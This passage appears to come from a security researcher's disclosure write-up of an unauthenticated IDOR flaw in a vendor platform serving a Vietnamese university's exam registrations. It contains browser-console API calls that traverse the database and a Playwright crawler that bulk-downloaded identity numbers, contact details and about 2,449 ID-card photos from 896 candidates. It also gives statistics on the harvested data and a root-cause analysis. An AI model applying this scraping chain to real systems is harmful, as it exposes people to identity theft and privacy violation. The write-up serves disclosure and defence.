<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code># CCCD front photo:
https://i0.connections.vn/kt3PG1hPTgTPG1MJ.u54.L8JKx-X.LDJ9Ei
  tREHqGaAN9ZWP6gM46Wbb?q=wqQ2KLBn6g3dDaf29mOnD7stDafo9aAo...

# CCCD back photo:
https://i0.connections.vn/kt3PG1hPTgTPG1MJ.u54.L8JKx-X.LDJ9Ei
  z9mONGaAN9ZWP6gM46Wbb?q=wqQ2KLBn6g3dDaf29mOnD7stDafo9aAo...

# Portrait photo:
https://i0.connections.vn/kt3PG1hPTgTPG1MJ.u54.L8JKx-X.LDJ9Ei
  tREHdGaAN9ZWP6gM46Wbb?q=wqQ2KLBn6g3dDaf29mOnD7stDafo9aAo...
</code></pre></div></div>

<p>Key observations about URL structure:</p>

<ul>
  <li>The URL <strong>path</strong> encodes the file reference - different images for the same candidate differ by a few characters in the path</li>
  <li>The <code class="language-plaintext highlighter-rouge">q=</code> query parameter appears to be a session or authentication token, but is <strong>identical</strong> across all images in a single page load, suggesting it is a page-level token rather than per-image</li>
  <li>These URLs <strong>cannot be guessed</strong> - they can only be obtained by rendering a candidate’s detail page in a browser (the JavaScript framework generates them at runtime)</li>
  <li>However, once the page is rendered, these URLs <strong>can be downloaded directly</strong> via simple HTTP GET without any additional cookies or headers</li>
</ul>

<h4 id="how-image-urls-are-generated">How Image URLs Are Generated</h4>

<p>The JavaScript framework generates image CDN URLs during page rendering through the following process:</p>

<ol>
  <li>Reads the file reference field (e.g., <code class="language-plaintext highlighter-rouge">{"ị":["4296"]}</code>)</li>
  <li>Encodes the file ID, organization context, and a session token into the URL path and query string</li>
  <li>Assigns the URL as a CSS <code class="language-plaintext highlighter-rouge">background-image</code> attribute on a <code class="language-plaintext highlighter-rouge">&lt;div&gt;</code> element</li>
</ol>

<p>This means image URLs cannot be constructed programmatically from file IDs alone – the JavaScript framework’s encoding algorithm must be executed in a browser environment. My tool solves this by rendering each candidate’s page in a headless browser and extracting <code class="language-plaintext highlighter-rouge">background-image</code> URLs from the DOM.</p>

<h4 id="image-download-verification">Image Download Verification</h4>

<p>Downloaded images were verified as actual ID card photos:</p>

<ul>
  <li>File sizes ranged from 44KB to 228KB (consistent with phone camera photos of ID cards)</li>
  <li>Valid JPEG image files</li>
  <li>Three images per candidate (typically): portrait photo, CCCD front, CCCD back</li>
  <li>Images contain readable text including the candidate’s name, CCCD number, date of birth, and address printed on the physical card</li>
</ul>

<p><img src="/assets/posts/CNMENU/3_list_of_national_ID_images.png" alt="File explorer showing downloaded national ID card photos" />
<em>Figure 3: File explorer showing 2,600+ downloaded national ID card photos (portrait, front, and back) of exam candidates.</em></p>

<h2 id="5-complete-attack-chain">5. Complete Attack Chain</h2>

<p>Here is the complete chain of steps, from the initial Google discovery to downloading all 896 candidates’ identity card photos. Each step builds on the previous one, and none of them require any form of authentication.</p>

<h3 id="51-overview">5.1. Overview</h3>

<p>The attack chain combines multiple techniques to escalate from a single Google result to full PII extraction including ID card photos:</p>

<ol>
  <li><strong>Google Dorking</strong> (Reconnaissance)</li>
  <li><strong>Source Code Analysis</strong> (Framework Identification)</li>
  <li><strong>JavaScript API Reverse Engineering</strong> (Schema Discovery)</li>
  <li><strong>IDOR Exploitation</strong> (Database Traversal)</li>
  <li><strong>Foreign Key Traversal</strong> (Cross-Table Access)</li>
  <li><strong>PDF Metadata Extraction</strong> (Seed Data Collection)</li>
  <li><strong>Headless Browser API Injection</strong> (Bulk Extraction) – A headless browser is a web browser running in the background without a graphical interface, enabling automation (e.g., Playwright, Puppeteer)</li>
  <li><strong>DOM Scraping</strong> (Reference Resolution + Image Harvesting)</li>
  <li><strong>CDN Image Download</strong> (ID Card Photo Extraction)</li>
</ol>

<h3 id="52-step-1-google-dorking---initial-discovery">5.2. Step 1: Google Dorking - Initial Discovery</h3>

<p>A routine Google search containing a candidate’s name and University X-related keywords returned a direct link to the Testing Center website:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>TRUNG TAM KHAO THI TRUONG DAI HOC X
https://tec.universityx.vn/7fdc5fa41f345xxxx4bba6b0d3e449385/1518250/2368M35018
"Phieu dang ky thi nang luc ngoai ngu..."
</code></pre></div></div>

<p>The rendered page displayed the full exam registration form including the CCCD number, date of birth, ethnicity, contact information, and ID card photos.</p>

<h3 id="53-step-2-source-code-analysis---identifying-company-y">5.3. Step 2: Source Code Analysis - Identifying Company Y</h3>

<p>Inspecting the page source revealed:</p>

<ul>
  <li>JavaScript loaded from <code class="language-plaintext highlighter-rouge">cdn.companyy.com</code> (Company Y)</li>
  <li>CSS loaded from <code class="language-plaintext highlighter-rouge">thuctap.companyy.com</code></li>
  <li>API calls to <code class="language-plaintext highlighter-rouge">xhr.companyy.com</code> and <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code></li>
  <li>Framework configuration at <code class="language-plaintext highlighter-rouge">tts.companyy.vn/nguyendinhhuy</code></li>
  <li>Vietnamese function names (<code class="language-plaintext highlighter-rouge">xửLý</code>, <code class="language-plaintext highlighter-rouge">CĂN.db</code>, <code class="language-plaintext highlighter-rouge">config</code>)</li>
</ul>

<h3 id="54-step-3-reverse-engineering-the-javascript-framework-api">5.4. Step 3: Reverse Engineering the JavaScript Framework API</h3>

<p>Using the browser’s developer console, I probed the framework’s global scope:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> <span class="k">typeof</span> <span class="nx">xuLy</span>       <span class="c1">// "function" main API handler</span>
<span class="o">&gt;</span> <span class="k">typeof</span> <span class="nx">CAN</span><span class="p">.</span><span class="nx">db</span>     <span class="c1">// "function" database loader</span>
<span class="o">&gt;</span> <span class="k">typeof</span> <span class="nx">config</span>     <span class="c1">// "function" config retriever</span>
<span class="o">&gt;</span> <span class="k">typeof</span> <span class="nx">duLieu</span>     <span class="c1">// "object"   page data context</span>
<span class="o">&gt;</span> <span class="nx">CAN</span>               <span class="c1">// {fn, khoa, lib, js, db, _db}</span>
</code></pre></div></div>

<p>By intercepting XHR traffic in the Network tab while loading a candidate page, I observed the request/response pattern:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST https://xhr.companyy.com/xhr/
  Request:  {action: "doiTuong.tai.7fdc5fa4...", d: {thuocTinh: {...}}}
  Response: ["1518250", "1518251", ...]  // List of Object IDs
</code></pre></div></div>

<h3 id="55-step-4-idor--foreign-key-traversal">5.5. Step 4: IDOR + Foreign Key Traversal</h3>

<p>With the API functions identified, I exploited IDOR to traverse the database:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. Find Registration by SBD (exam seat number from PDF)</span>
<span class="nx">xuLy</span><span class="p">(</span><span class="dl">"</span><span class="s2">doiTuong.tai.7fdc5fa41f345xxxx4bba6b0d3e449385</span><span class="dl">"</span><span class="p">,</span>
  <span class="p">{</span><span class="na">d</span><span class="p">:</span> <span class="p">{</span><span class="na">thuocTinh</span><span class="p">:</span> <span class="p">{</span><span class="dl">"</span><span class="s2">1642331</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">AN1001</span><span class="dl">"</span><span class="p">}}},</span> <span class="p">{},</span> <span class="kd">function</span><span class="p">(</span><span class="nx">ids</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">ids</span><span class="p">);</span>
    <span class="c1">// ["1518250"]</span>
  <span class="p">});</span>

<span class="c1">// 2. Load Registration object -&gt; discover Candidate table</span>
<span class="nx">CAN</span><span class="p">.</span><span class="nx">db</span><span class="p">(</span><span class="dl">"</span><span class="s2">7fdc5fa41f345xxxx4bba6b0d3e449385.1518250</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">reg</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span><span class="dl">"</span><span class="s2">7fdc5fa41f345xxxx4bba6b0d3e449385.1518250</span><span class="dl">"</span><span class="p">);</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">reg</span><span class="p">[</span><span class="dl">"</span><span class="s2">1686869</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// "582319" (Candidate ID)</span>
  <span class="c1">// Candidate table hash discovered from foreign key relationship</span>
<span class="p">});</span>

<span class="c1">// 3. Load Candidate object -&gt; access ALL personal data</span>
<span class="nx">CAN</span><span class="p">.</span><span class="nx">db</span><span class="p">(</span><span class="dl">"</span><span class="s2">3576ff3533bb4xxxx8e394a0aa83a461f.582319</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">c</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span><span class="dl">"</span><span class="s2">3576ff3533bb4xxxx8e394a0aa83a461f.582319</span><span class="dl">"</span><span class="p">);</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1646777</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// "0222xxxx2576" (CCCD number)</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1626788</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// "098xxxx321"   (Phone number)</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1626793</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// "email@example.com"</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1626773</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// {"ậ":["146992"]}  (Ethnicity reference)</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1658487</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// {"ị":["4296"]}     (CCCD front photo)</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1658488</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// {"ị":["243"]}      (CCCD back photo)</span>
<span class="p">});</span>
</code></pre></div></div>

<h3 id="56-step-5-seed-data-extraction-from-pdfs">5.6. Step 5: Seed Data Extraction from PDFs</h3>

<p>To enumerate all candidates, I extracted the list of SBD (exam seat numbers) from 32 publicly accessible PDF files. PDF metadata was embedded in the website’s HTML as a cached JSON object with abbreviated Vietnamese field names. After unescaping JSON-encoded paths, all PDFs were downloadable from the static file CDN at <code class="language-plaintext highlighter-rouge">local.universityx.connections.vn</code>. Result: <strong>896 unique SBDs</strong> extracted from 32 PDFs.</p>

<h3 id="57-step-6-automated-bulk-extraction">5.7. Step 6: Automated Bulk Extraction</h3>

<p>I developed a Python tool (<code class="language-plaintext highlighter-rouge">crawl_xxxx.py</code>) that automates the entire chain using Playwright (headless Chromium browser):</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Each worker runs 2 browser pages:
#   api_page:    stays on /dangkythi for fast JS API calls
#   render_page: navigates to each candidate's detail page
</span>
<span class="k">def</span> <span class="nf">lookup_sbd</span><span class="p">(</span><span class="n">api_page</span><span class="p">,</span> <span class="n">render_page</span><span class="p">,</span> <span class="n">sbd</span><span class="p">):</span>
    <span class="c1"># Fast API lookup (~2 seconds)
</span>    <span class="n">reg_ids</span> <span class="o">=</span> <span class="n">_api_search</span><span class="p">(</span><span class="n">api_page</span><span class="p">,</span> <span class="n">REG_TABLE</span><span class="p">,</span> <span class="p">{</span><span class="n">F_SBD</span><span class="p">:</span> <span class="n">sbd</span><span class="p">})</span>
    <span class="n">reg_data</span> <span class="o">=</span> <span class="n">_api_load_object</span><span class="p">(</span><span class="n">api_page</span><span class="p">,</span> <span class="n">REG_TABLE</span><span class="p">,</span> <span class="n">reg_ids</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
    <span class="n">cand_data</span> <span class="o">=</span> <span class="n">_api_load_object</span><span class="p">(</span><span class="n">api_page</span><span class="p">,</span> <span class="n">CAND_TABLE</span><span class="p">,</span> <span class="n">reg_data</span><span class="p">[</span><span class="n">F_CAND_ID</span><span class="p">])</span>
    <span class="c1"># -&gt; CCCD, phone, email, workplace now retrieved
</span>
    <span class="c1"># Render page for references + images (~20 seconds)
</span>    <span class="n">render_page</span><span class="p">.</span><span class="n">goto</span><span class="p">(</span><span class="sa">f</span><span class="s">"tec.universityx.vn/</span><span class="si">{</span><span class="n">REG_TABLE</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">reg_id</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">file_num</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="c1"># Smart wait: wait until "Dan toc" text appears
</span>    <span class="c1"># -&gt; Extract ethnicity, place of birth from DOM text
</span>    <span class="c1"># -&gt; Extract image URLs from CSS background-image attributes
</span>    <span class="c1"># -&gt; Download ID card photos from connections.vn CDN
</span></code></pre></div></div>

<p><img src="/assets/posts/CNMENU/2_list_of_candidates_crawled.png" alt="Spreadsheet showing crawled candidate data" />
<em>Figure 2: Spreadsheet of extracted candidate data including names, registration numbers, CCCD numbers, dates of birth, emails, phone numbers, ethnicity, and place of birth demonstrating the scale of the data exposure.</em></p>

<h3 id="58-step-7-parallel-execution-with-adaptive-throttling">5.8. Step 7: Parallel Execution with Adaptive Throttling</h3>

<p>The tool supports <strong>3 parallel workers</strong> by default, each with its own Playwright browser instance (for thread safety). If the server starts rejecting requests (3 consecutive failures), the tool automatically falls back to a single worker:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Workers: 3 (Default)
    |
    +-- Worker 1: Browser + 2 pages (api + render)
    +-- Worker 2: Browser + 2 pages (api + render)
    +-- Worker 3: Browser + 2 pages (api + render)
    |
[3 consecutive failures on any worker]
    |
    v
Workers: 1 (Fallback)
    +-- Worker 1: Browser + 2 pages (api + render)
</code></pre></div></div>

<h3 id="59-step-8-graceful-error-handling">5.9. Step 8: Graceful Error Handling</h3>

<p>The tool implements multiple robust recovery mechanisms:</p>

<ul>
  <li><strong>Ctrl+C Handling</strong>: When interrupted, the tool immediately saves all collected data to CSV before exiting.</li>
  <li><strong>Network Error Recovery</strong>: On timeout, the tool resets the browser session and continues.</li>
  <li><strong>Periodic Saving</strong>: Flushes data to CSV every 10 candidates to minimize data loss.</li>
  <li><strong>Resume Support</strong>: On restart, the tool reads the existing CSV file and skips already-processed SBDs.</li>
  <li><strong>Reference Caching</strong>: Ethnicity and Place of Birth lookups are cached (there are only ~54 ethnic groups and ~63 provinces in Vietnam), so page rendering becomes unnecessary for previously encountered reference IDs.</li>
</ul>

<h2 id="6-results-extracted-data">6. Results: Extracted Data</h2>

<h3 id="61-data-volume">6.1. Data Volume</h3>

<table>
  <thead>
    <tr>
      <th>Metric</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Total candidates (from PDFs)</td>
      <td>896</td>
    </tr>
    <tr>
      <td>Candidates with resolved CCCD</td>
      <td>896 (100%)</td>
    </tr>
    <tr>
      <td>Candidates with ethnicity info</td>
      <td>896 (100%)</td>
    </tr>
    <tr>
      <td>Candidates with place of birth</td>
      <td>896 (100%)</td>
    </tr>
    <tr>
      <td>ID card photos downloaded</td>
      <td>2,600+ (portrait + front + back)</td>
    </tr>
    <tr>
      <td>Success rate</td>
      <td>100%</td>
    </tr>
    <tr>
      <td>Workers used</td>
      <td>3 (parallel)</td>
    </tr>
    <tr>
      <td>Processing speed</td>
      <td>~5 candidates/minute (including page rendering)</td>
    </tr>
  </tbody>
</table>

<h3 id="62-extracted-data-fields-per-candidate">6.2. Extracted Data Fields per Candidate</h3>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Source</th>
      <th>Sensitivity Level</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>SBD (Exam Seat Number)</td>
      <td>PDF</td>
      <td>Low</td>
      <td>AN1001</td>
    </tr>
    <tr>
      <td>Full Name</td>
      <td>API</td>
      <td>Medium</td>
      <td>Nguyễn xxx xxxx Trà</td>
    </tr>
    <tr>
      <td>Date of Birth</td>
      <td>API + PDF</td>
      <td>Medium</td>
      <td>28/09/2000</td>
    </tr>
    <tr>
      <td>Gender</td>
      <td>API + PDF</td>
      <td>Low</td>
      <td>Female</td>
    </tr>
    <tr>
      <td>CCCD/CMND Number</td>
      <td>API</td>
      <td><strong>Critical</strong></td>
      <td>0222xxxx2576</td>
    </tr>
    <tr>
      <td>Phone Number</td>
      <td>API</td>
      <td>High</td>
      <td>037xxxx973</td>
    </tr>
    <tr>
      <td>Email</td>
      <td>API</td>
      <td>High</td>
      <td>email@gmail.com</td>
    </tr>
    <tr>
      <td>Workplace</td>
      <td>API</td>
      <td>Medium</td>
      <td>Free text</td>
    </tr>
    <tr>
      <td>Ethnicity</td>
      <td>Rendered DOM</td>
      <td>High</td>
      <td>Kinh</td>
    </tr>
    <tr>
      <td>Place of Birth</td>
      <td>Rendered DOM</td>
      <td>Medium</td>
      <td>Bắc Kạn Province</td>
    </tr>
    <tr>
      <td><strong>ID Card Photo (Front)</strong></td>
      <td><strong>CDN</strong></td>
      <td><strong>Critical</strong></td>
      <td><strong>JPEG, 44–228 KB</strong></td>
    </tr>
    <tr>
      <td><strong>ID Card Photo (Back)</strong></td>
      <td><strong>CDN</strong></td>
      <td><strong>Critical</strong></td>
      <td><strong>JPEG, 44–228 KB</strong></td>
    </tr>
    <tr>
      <td>Exam Scores</td>
      <td>API + PDF</td>
      <td>Medium</td>
      <td>8.5/6.0/5.5/7.0</td>
    </tr>
    <tr>
      <td>File Number</td>
      <td>API</td>
      <td>Low</td>
      <td>2368M35018</td>
    </tr>
  </tbody>
</table>

<h3 id="63-output-directory-structure">6.3. Output Directory Structure</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>output/
  candidates_phase1.csv     # 896 candidates (SBD, name, DOB, gender, scores)
  candidates_phase2.csv     # 896 candidates (+ CCCD, phone, email, ethnicity,
                            #   place of birth, image paths)
  candidates_full.csv       # Final merged complete dataset
  images/
    AN1001_front.jpg        # ID card front photo
    AN1001_back.jpg         # ID card back photo
    AN1001_extra.jpg        # Portrait/additional candidate photo
    AN1002_front.jpg
    ...                     # ~2,600 images total
  pdfs/                     # 32 original candidate list PDFs
  file_index.json           # PDF file index metadata
</code></pre></div></div>

<h2 id="7-detailed-data-analysis">7. Detailed Data Analysis</h2>

<p>This section presents statistical analysis of the 896 candidate records extracted from <code class="language-plaintext highlighter-rouge">candidates_phase2.csv</code>. All statistics were computed programmatically from the raw data.</p>

<h3 id="71-demographics">7.1. Demographics</h3>

<ul>
  <li><strong>Total candidates</strong>: 896 unique individuals</li>
  <li><strong>Gender</strong>: 661 Female (73.8%), 235 Male (26.2%)</li>
  <li><strong>Age range (birth years)</strong>: 1969–2005 (37-year span)</li>
  <li><strong>Median birth year</strong>: ≈ 2000 (most common: 2000 with 234 candidates, followed by 1998 with 117 and 1999 with 102)</li>
  <li>The 3:1 female-to-male ratio and concentration around 1998–2002 birth years are entirely consistent with the profile of foreign language proficiency exam candidates at a university specializing in foreign languages.</li>
</ul>

<h3 id="72-data-completeness">7.2. Data Completeness</h3>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Populated</th>
      <th>Empty</th>
      <th>Fill Rate</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>SBD (Exam Seat Number)</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Full Name</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Date of Birth</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Gender</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>CCCD/CMND</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Phone Number</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Email</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Ethnicity</td>
      <td>818</td>
      <td>78</td>
      <td>91.3%</td>
    </tr>
    <tr>
      <td>ID Card Photo (Front)</td>
      <td>820</td>
      <td>76</td>
      <td>91.5%</td>
    </tr>
    <tr>
      <td>ID Card Photo (Back)</td>
      <td>816</td>
      <td>80</td>
      <td>91.1%</td>
    </tr>
    <tr>
      <td>Place of Birth/Province</td>
      <td>576</td>
      <td>320</td>
      <td>64.3%</td>
    </tr>
    <tr>
      <td>Workplace</td>
      <td>135</td>
      <td>761</td>
      <td>15.1%</td>
    </tr>
  </tbody>
</table>

<p>The 7 core PII fields (name, date of birth, gender, CCCD, phone number, email, file number) all have a 100% fill rate. The low workplace fill rate (15.1%) suggests most candidates are students who left this non-required field blank.</p>

<h3 id="73-email-domain-analysis">7.3. Email Domain Analysis</h3>

<table>
  <thead>
    <tr>
      <th>Domain</th>
      <th>Count</th>
      <th>%</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">gmail.com</code></td>
      <td>766</td>
      <td>85.5%</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">s.universityx.edu.vn</code></td>
      <td>87</td>
      <td>9.7%</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">universityx.edu.vn</code></td>
      <td>22</td>
      <td>2.5%</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">yahoo.com</code> / <code class="language-plaintext highlighter-rouge">yahoo.com.vn</code></td>
      <td>4</td>
      <td>0.4%</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">gmail.con</code> <em>(typo)</em></td>
      <td>3</td>
      <td>0.3%</td>
    </tr>
    <tr>
      <td>Other (<code class="language-plaintext highlighter-rouge">.edu.vn</code>, <code class="language-plaintext highlighter-rouge">.gov.vn</code>)</td>
      <td>14</td>
      <td>1.6%</td>
    </tr>
  </tbody>
</table>

<p>The 3 instances of the <code class="language-plaintext highlighter-rouge">gmail.con</code> typo and the 87 students using their student ID as a prefix for University X email (<code class="language-plaintext highlighter-rouge">{student_id}@s.universityx.edu.vn</code>) are noteworthy: the typos confirm this is real user-entered data, while the latter pattern inadvertently creates a secondary channel exposing student ID numbers.</p>

<h3 id="74-cccdcmnd-format-analysis">7.4. CCCD/CMND Format Analysis</h3>

<p>Vietnam has issued identification documents in three formats, all of which appear in this dataset:</p>

<table>
  <thead>
    <tr>
      <th>Format</th>
      <th>Count</th>
      <th>%</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>12-digit CCCD</td>
      <td>474</td>
      <td>52.9%</td>
      <td>New Citizen Identity Card (post-2021)</td>
    </tr>
    <tr>
      <td>10-digit CMND</td>
      <td>271</td>
      <td>30.2%</td>
      <td>Old People’s Identity Card (10-digit)</td>
    </tr>
    <tr>
      <td>9-digit CMND</td>
      <td>135</td>
      <td>15.1%</td>
      <td>Old People’s Identity Card (9-digit)</td>
    </tr>
    <tr>
      <td>Other lengths</td>
      <td>16</td>
      <td>1.8%</td>
      <td>Student IDs/Passport numbers/Data entry errors</td>
    </tr>
  </tbody>
</table>

<p><strong>6 duplicate CCCD numbers were found</strong> (each appearing in 2 registrations), indicating candidates who registered for exams multiple times. This confirms these are real registration records spanning from September 2024 to February 2026.</p>

<h3 id="75-geographic-distribution">7.5. Geographic Distribution</h3>

<p>The first 3 digits of a 12-digit CCCD encode the province of issuance. Among the 474 new-format CCCDs:</p>

<table>
  <thead>
    <tr>
      <th>Code</th>
      <th>Province/City</th>
      <th>Count</th>
      <th>%</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>001</td>
      <td>Hanoi</td>
      <td>144</td>
      <td>30.4%</td>
    </tr>
    <tr>
      <td>036</td>
      <td>Nam Dinh</td>
      <td>38</td>
      <td>8.0%</td>
    </tr>
    <tr>
      <td>038</td>
      <td>Thanh Hoa</td>
      <td>36</td>
      <td>7.6%</td>
    </tr>
    <tr>
      <td>034</td>
      <td>Thai Binh</td>
      <td>31</td>
      <td>6.5%</td>
    </tr>
    <tr>
      <td>030</td>
      <td>Hai Duong</td>
      <td>25</td>
      <td>5.3%</td>
    </tr>
    <tr>
      <td>024</td>
      <td>Bac Giang</td>
      <td>23</td>
      <td>4.9%</td>
    </tr>
    <tr>
      <td>035</td>
      <td>Ha Nam</td>
      <td>16</td>
      <td>3.4%</td>
    </tr>
    <tr>
      <td>033</td>
      <td>Hung Yen</td>
      <td>16</td>
      <td>3.4%</td>
    </tr>
    <tr>
      <td>027</td>
      <td>Bac Ninh</td>
      <td>15</td>
      <td>3.2%</td>
    </tr>
    <tr>
      <td>037</td>
      <td>Ninh Binh</td>
      <td>15</td>
      <td>3.2%</td>
    </tr>
  </tbody>
</table>

<p>The distribution is heavily concentrated in the Red River Delta region in northern Vietnam, consistent with University X’s location in Hanoi. Hanoi-based candidates alone account for 30.4% of new-format CCCD holders.</p>

<h3 id="76-image-repository-statistics">7.6. Image Repository Statistics</h3>

<table>
  <thead>
    <tr>
      <th>Image Type</th>
      <th>Count</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">*_front.jpg</code></td>
      <td>820</td>
      <td>CCCD/CMND front photo</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">*_back.jpg</code></td>
      <td>816</td>
      <td>CCCD/CMND back photo</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">*_extra.jpg</code></td>
      <td>813</td>
      <td>Candidate portrait photo</td>
    </tr>
    <tr>
      <td><strong>Total</strong></td>
      <td><strong>2,449</strong></td>
      <td><strong>223 MB on disk</strong></td>
    </tr>
  </tbody>
</table>

<p>The approximately 76–80 candidates missing images most likely registered before the mandatory ID card photo upload requirement was implemented, or uploaded documents in non-standard formats that the DOM scraper could not extract.</p>

<h3 id="77-pdf-source-analysis">7.7. PDF Source Analysis</h3>

<table>
  <thead>
    <tr>
      <th>Time Period</th>
      <th>PDF Count</th>
      <th>Exam Type</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>September 2024</td>
      <td>4</td>
      <td>C1 English, Chinese, Japanese, Korean</td>
    </tr>
    <tr>
      <td>March 2025</td>
      <td>4</td>
      <td>C1 English, Chinese, Japanese, Korean</td>
    </tr>
    <tr>
      <td>May 2025</td>
      <td>1</td>
      <td>University X Test</td>
    </tr>
    <tr>
      <td>June 2025</td>
      <td>6</td>
      <td>NN2 SĐH (Second Foreign Language for Graduate Studies)</td>
    </tr>
    <tr>
      <td>October 2025</td>
      <td>4</td>
      <td>English, Chinese, Japanese, Korean</td>
    </tr>
    <tr>
      <td>January 2026</td>
      <td>9</td>
      <td>Morning/Afternoon sessions (multiple days)</td>
    </tr>
    <tr>
      <td>February 2026</td>
      <td>4</td>
      <td>Morning/Afternoon sessions</td>
    </tr>
    <tr>
      <td><strong>Total</strong></td>
      <td><strong>32</strong></td>
      <td>Period: Sep 2024 – Feb 2026</td>
    </tr>
  </tbody>
</table>

<h2 id="8-root-cause-analysis">8. Root Cause Analysis</h2>

<h3 id="81-architectural-flaws-in-the-connections-platform">8.1. Architectural Flaws in the Connections Platform</h3>

<p>The data exposure stems from fundamental architectural design decisions in Company Y’s Connections platform:</p>

<ol>
  <li>
    <p><strong>No API Authentication Layer</strong>: The XHR API endpoints at <code class="language-plaintext highlighter-rouge">xhr.companyy.com</code> and <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code> accept requests from any JavaScript execution context. There are no tokens, session cookies, or API key checks.</p>
  </li>
  <li>
    <p><strong>No Field-Level Access Control</strong>: The API returns <strong>all fields</strong> for any requested object. A user accessing a public page to view the exam schedule receives the exact same data as an administrator viewing CCCD numbers and ID card photos.</p>
  </li>
  <li>
    <p><strong>IDOR by Design</strong>: Database object IDs are used directly in URLs and API calls. Table hashes serve as identifiers that provide no security they are plainly visible in URLs and easily discoverable through foreign key traversal.</p>
  </li>
  <li>
    <p><strong>Client-Side-Only Security</strong>: All business logic and data filtering occurs in browser-side JavaScript. The server acts as a transparent data store, enforcing no access controls whatsoever.</p>
  </li>
  <li>
    <p><strong>No CDN Controls</strong>: Both the static file CDN and image CDN serve content without authentication. Once a URL is known (or extracted from a rendered page), any HTTP client can download the file.</p>
  </li>
  <li>
    <p><strong>No Rate Limiting</strong>: The API accepts hundreds of sequential queries from a single client without throttling, enabling easy bulk data extraction.</p>
  </li>
</ol>

<h3 id="82-third-party-vendor-risk">8.2. Third-Party Vendor Risk</h3>

<p>University X has entrusted sensitive candidate data including photos of government-issued CCCD/CMND cards to Company Y’s Connections platform. This creates a <strong>supply chain vulnerability</strong>:</p>

<ul>
  <li>University X may be entirely unaware that the platform has zero access controls.</li>
  <li>The same architectural flaws likely affect <strong>all organizations</strong> using the Connections platform, not just University X.</li>
  <li>University X is limited in its ability to implement security controls on infrastructure it does not operate.</li>
  <li>The vendor relationship means that remediating this vulnerability requires Company Y to redesign their platform architecture.</li>
</ul>

